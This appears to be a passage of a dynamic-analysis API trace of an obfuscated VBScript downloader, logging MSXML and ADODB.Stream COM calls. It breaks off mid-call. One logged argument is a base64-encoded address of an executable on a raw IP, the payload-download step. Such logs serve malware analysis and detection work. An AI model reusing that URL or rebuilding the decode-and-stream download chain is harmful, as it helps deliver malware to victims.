[0073.113] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=24, lcid=0x409, wFlags=0x4, pdp=0x14bba0*(rgvarg=([0]=0x14badc*(varType=0x8, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1="aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=", varVal2=0x0)), rgdispidNamedArgs=([0]=0x14bb9c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14bb7c, pspCaller=0x846d1c8 | out: pdp=0x14bba0*(rgvarg=([0]=0x14badc*(varType=0x8, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1="aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=", varVal2=0x0)), rgdispidNamedArgs=([0]=0x14bb9c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14bb7c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0073.113] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0073.113] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0073.113] ??3@YAXPAX@Z () returned 0x840001 [0073.113] ??3@YAXPAX@Z () returned 0x4a0001 [0073.113] ??3@YAXPAX@Z () returned 0xffff0001 [0073.114] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14beb8 | out: ppvObject=0x14beb8*=0x555430) returned 0x0 [0073.114] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="NodeTypedValue", grfdex=0x8, pid=0x14bed4 | out: pid=0x14bed4*=25) returned 0x0 [0073.114] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0073.114] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0073.114] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bec0 | out: ppvObject=0x14bec0*=0x555430) returned 0x0 [0073.114] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=25, lcid=0x409, wFlags=0x3, pdp=0x14be8c*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718, pei=0x14be68, pspCaller=0x846d1c8 | out: pdp=0x14be8c*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6ae4ba8*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6ac8c38*, rgsabound=((cElements=0x20, lLbound=0))), varVal2=0x0), pei=0x14be68*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0073.114] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0073.114] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0073.114] IUnknown:AddRef (This=0x1197760) returned 0x8 [0073.115] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.115] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="lfkfdiooie", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.115] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="lfkfdiooie", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.115] GetCurrentThreadId () returned 0xd44 [0073.115] IUnknown:Release (This=0x1197760) returned 0x8 [0073.115] ??2@YAPAXI@Z () returned 0x838c558 [0073.115] ??2@YAPAXI@Z () returned 0x1105cd0 [0073.115] malloc (_Size=0x40) returned 0x1197838 [0073.115] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 5 [0073.115] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x6b1e23c, cchDest=5 | out: lpDestStr="utf-8") returned 5 [0073.116] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.116] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vgct783hth", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.116] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vgct783hth", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.116] GetCurrentThreadId () returned 0xd44 [0073.116] IUnknown:Release (This=0x1197760) returned 0x8 [0073.116] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.116] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="piiing", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.117] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="piiing", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.117] GetCurrentThreadId () returned 0xd44 [0073.117] IUnknown:Release (This=0x1197760) returned 0x8 [0073.117] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.117] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ldiwuywfj", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.117] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ldiwuywfj", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.117] GetCurrentThreadId () returned 0xd44 [0073.117] IUnknown:Release (This=0x1197760) returned 0x8 [0073.117] malloc (_Size=0x204) returned 0x8790008 [0073.117] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.117] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.118] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.118] GetCurrentThreadId () returned 0xd44 [0073.118] IUnknown:Release (This=0x1197760) returned 0x8 [0073.118] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.118] malloc (_Size=0x804) returned 0x8790218 [0073.118] ??2@YAPAXI@Z () returned 0x844b458 [0073.118] ??3@YAXPAX@Z () returned 0x1 [0073.118] malloc (_Size=0x204) returned 0x83d18f0 [0073.118] ??2@YAPAXI@Z () returned 0x11291c0 [0073.118] free (_Block=0x83d08e0) [0073.118] free (_Block=0x8790218) [0073.118] ??3@YAXPAX@Z () returned 0xffff0001 [0073.118] free (_Block=0x1197880) [0073.118] free (_Block=0x83d18f0) [0073.118] free (_Block=0x8444648) [0073.118] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.118] ??2@YAPAXI@Z () returned 0x83fd610 [0073.118] IUnknown:AddRef (This=0x1197760) returned 0x9 [0073.119] _wcsicmp (_String1="aaax", _String2="BytesToStr") returned -1 [0073.119] CLSIDFromProgIDEx (in: lpszProgID="ADODB.Stream", lpclsid=0x14b8f8 | out: lpclsid=0x14b8f8*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0 [0073.119] SysStringLen (param_1=0x0) returned 0x0 [0073.119] CoGetClassObject (in: rclsid=0x14b8f8*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14b8e8 | out: ppv=0x14b8e8*=0x962b2d0) returned 0x0 [0073.121] Stream:IUnknown:QueryInterface (in: This=0x962b2d0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14b8e4 | out: ppvObject=0x14b8e4*=0x0) returned 0x80004002 [0073.121] Stream:IClassFactory:CreateInstance (in: This=0x962b2d0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b8ec | out: ppvObject=0x14b8ec*=0x962bad0) returned 0x0 [0073.122] Stream:IUnknown:Release (This=0x962b2d0) returned 0x1 [0073.122] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14b8b0 | out: ppvObject=0x14b8b0*=0x962bb00) returned 0x0 [0073.122] ??2@YAPAXI@Z () returned 0x1112ae8 [0073.122] Stream:IObjectWithSite:SetSite (This=0x962bb00, pUnkSite=0x1112ae8) returned 0x0 [0073.122] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b7f8 | out: ppvObject=0x14b7f8*=0x0) returned 0x80004002 [0073.122] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b7e8 | out: ppvObject=0x14b7e8*=0x0) returned 0x80004002 [0073.122] DOMDocument:IUnknown:AddRef (This=0x1112ae8) returned 0x2 [0073.122] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x66853000*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b848 | out: ppvObject=0x14b848*=0x0) returned 0x80004002 [0073.122] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14b844 | out: ppvObject=0x14b844*=0x1112ae8) returned 0x0 [0073.122] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ae8, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14b86c | out: ppvObject=0x14b86c*=0x0) returned 0x80004002 [0073.122] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b820 | out: ppvObject=0x14b820*=0x83fd480) returned 0x0 [0073.122] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14b81c | out: ppvObject=0x14b81c*=0x83fd490) returned 0x0 [0073.123] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14b86c | out: ppvObject=0x14b86c*=0x0) returned 0x80004002 [0073.123] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.123] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.123] DOMDocument:IUnknown:Release (This=0x1112ae8) returned 0x2 [0073.123] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14b84c | out: ppvObject=0x14b84c*=0x1112ae8) returned 0x0 [0073.123] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ae8, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14b840 | out: ppvObject=0x14b840*=0x0) returned 0x80004002 [0073.123] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b818 | out: ppvObject=0x14b818*=0x83fd480) returned 0x0 [0073.123] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14b814 | out: ppvObject=0x14b814*=0x83fd490) returned 0x0 [0073.123] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14b840 | out: ppvObject=0x14b840*=0x0) returned 0x80004002 [0073.123] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.123] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.123] DOMDocument:IUnknown:Release (This=0x1112ae8) returned 0x2 [0073.123] Stream:IUnknown:Release (This=0x962bb00) returned 0x1 [0073.123] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b8a0 | out: ppvObject=0x14b8a0*=0x962bad0) returned 0x0 [0073.123] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x3 [0073.123] Stream:IUnknown:Release (This=0x962bad0) returned 0x2 [0073.123] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0073.123] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0073.124] DOMDocument:IUnknown:Release (This=0x1112920) returned 0x0 [0073.124] ??3@YAXPAX@Z () returned 0x500001 [0073.124] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0073.124] ??3@YAXPAX@Z () returned 0x840001 [0073.124] ??3@YAXPAX@Z () returned 0x4a0001 [0073.124] ??3@YAXPAX@Z () returned 0xffff0001 [0073.124] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.124] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.124] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.125] GetCurrentThreadId () returned 0xd44 [0073.125] IUnknown:Release (This=0x1197760) returned 0x8 [0073.125] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.125] malloc (_Size=0x804) returned 0x8790218 [0073.125] ??2@YAPAXI@Z () returned 0x844b458 [0073.125] ??3@YAXPAX@Z () returned 0x1 [0073.125] malloc (_Size=0x204) returned 0x83d18f0 [0073.125] ??2@YAPAXI@Z () returned 0x11291c0 [0073.125] free (_Block=0x83d08e0) [0073.125] free (_Block=0x8790218) [0073.125] ??3@YAXPAX@Z () returned 0xffff0001 [0073.125] free (_Block=0x1197880) [0073.125] free (_Block=0x83d18f0) [0073.125] free (_Block=0x8444648) [0073.125] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.125] ??2@YAPAXI@Z () returned 0x83fd610 [0073.125] IUnknown:AddRef (This=0x1197760) returned 0x9 [0073.125] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0073.126] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0073.126] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="Type", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=4) returned 0x0 [0073.126] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0073.126] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0073.126] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14b95c*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14b958*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14b958*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962bad0) returned 0x0 [0073.126] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0073.126] ??3@YAXPAX@Z () returned 0x840001 [0073.126] ??3@YAXPAX@Z () returned 0x4a0001 [0073.126] ??3@YAXPAX@Z () returned 0xffff0001 [0073.127] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.127] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="svksovosrgh", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.127] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="svksovosrgh", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.127] GetCurrentThreadId () returned 0xd44 [0073.127] IUnknown:Release (This=0x1197760) returned 0x8 [0073.127] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.127] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.127] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.127] GetCurrentThreadId () returned 0xd44 [0073.127] IUnknown:Release (This=0x1197760) returned 0x8 [0073.127] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.127] malloc (_Size=0x804) returned 0x8790218 [0073.128] ??2@YAPAXI@Z () returned 0x844b458 [0073.128] ??3@YAXPAX@Z () returned 0x1 [0073.128] ??2@YAPAXI@Z () returned 0x11291c0 [0073.128] free (_Block=0x83d08e0) [0073.128] free (_Block=0x8790218) [0073.128] ??3@YAXPAX@Z () returned 0xffff0001 [0073.128] free (_Block=0x1197880) [0073.128] free (_Block=0x83d18f0) [0073.128] free (_Block=0x8444648) [0073.128] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.128] ??2@YAPAXI@Z () returned 0x83fd610 [0073.128] IUnknown:AddRef (This=0x1197760) returned 0x9 [0073.128] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0073.128] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0073.128] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="Open", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=10) returned 0x0 [0073.128] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0073.128] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0073.129] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=10, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14b95c*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962bad0) returned 0x0 [0073.129] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0073.129] ??3@YAXPAX@Z () returned 0x840001 [0073.129] ??3@YAXPAX@Z () returned 0x4a0001 [0073.129] ??3@YAXPAX@Z () returned 0xffff0001 [0073.129] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.129] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ivrejk", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.129] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ivrejk", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.129] GetCurrentThreadId () returned 0xd44 [0073.130] IUnknown:Release 